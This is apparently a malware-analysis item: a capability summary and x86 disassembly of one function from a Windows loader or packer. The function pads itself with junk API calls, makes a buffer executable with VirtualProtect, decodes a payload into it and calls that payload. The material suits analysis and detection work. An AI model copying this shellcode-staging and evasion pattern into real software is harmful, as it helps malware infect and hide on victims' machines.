Function at 0x4013ea
Capabilities:
Allocate or change rwx memory
Copy file
Execute shellcode via indirect call
Get common file path
Get disk information
Get file attributes
Get geographical location
Move file
Query environment variable
Terminate process
Terminate thread

Disassembly:
mov eax, 0x40f400
call fcn.0040f3dc
mov eax, 0x1c30
call fcn.0040cef0
mov ecx, dword [0x862064]
push ebx
push esi
xor esi, esi
push edi
cmp ecx, 0x93
jne 0x40148c
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push str.yenaticusejeyapajad
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawCaption]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x43c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push dword [ebp - 0x14]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ole32.dll_CoGetPSClsid]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSetDefaultProxyConfiguration]
push esi
lea eax, [ebp - 0xc3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call fcn.00403300
pop ecx
push esi
call fcn.00402676
pop ecx
push esi
call fcn.00403664
mov eax, dword [0x41ce98]
add ecx, 0x1134b
push ecx
push esi
mov dword [0x862168], eax
mov dword [0x862064], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x34]
mov dword [0x861fbc], eax
push ecx
push 0x40
push dword [0x862064]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
dec edi
jne 0x4014c7
mov ecx, dword [0x862064]
mov ebx, esi
test ecx, ecx
je 0x401571
mov eax, dword [0x862168]
mov cl, byte [eax + ebx + 0x1134b]
mov eax, dword [0x861fbc]
mov byte [eax + ebx], cl
mov ecx, dword [0x862064]
cmp ecx, 0x490
jne 0x401568
push esi
push esi
call dword [sym.imp.GDI32.dll_SetTextColor]
xor eax, eax
lea edi, [ebp - 0x2e]
mov word [ebp - 0x30], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0xc3c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
lea eax, [ebp - 0x143c]
push eax
push str.kirepolunoyimasir
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov ecx, dword [0x862064]
inc ebx
cmp ebx, ecx
jb 0x4014e8
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x4015e9
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x43c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
lea eax, [ebp - 0x143c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
lea eax, [ebp - 0xc3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x1c3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0x862064]
inc edi
cmp edi, 0x38681
jl 0x401573
mov ebx, dword [0x861fbc]
mov edi, ecx
shr edi, 3
test edi, edi
je 0x401631
cmp ecx, 0x959
jne 0x40161c
push esi
lea eax, [ebp - 0x43c]
push eax
push str.hokafufubimujetovocoku
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, ebx
call fcn.00401207
add ebx, 8
dec edi
je 0x401631
mov ecx, dword [0x862064]
jmp 0x401601
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x401651
mov dword [ebp - 0x14], esi
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x861fbc], eax
inc edi
cmp edi, 0x674db
jl 0x401633
push 0x7b
pop edi
cmp dword [0x862064], 0x86
jne 0x40169f
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
lea eax, [ebp - 0x20]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push str.xobotaloceyobuvexa_hedema
push str.mikoyuladukayojigoh_nacetofawiz_dalutehufibaloterajet_dup_yiheviletoxek
call dword [sym.imp.KERNEL32.dll_CopyFileW]
dec edi
jne 0x40165d
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x861fbc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret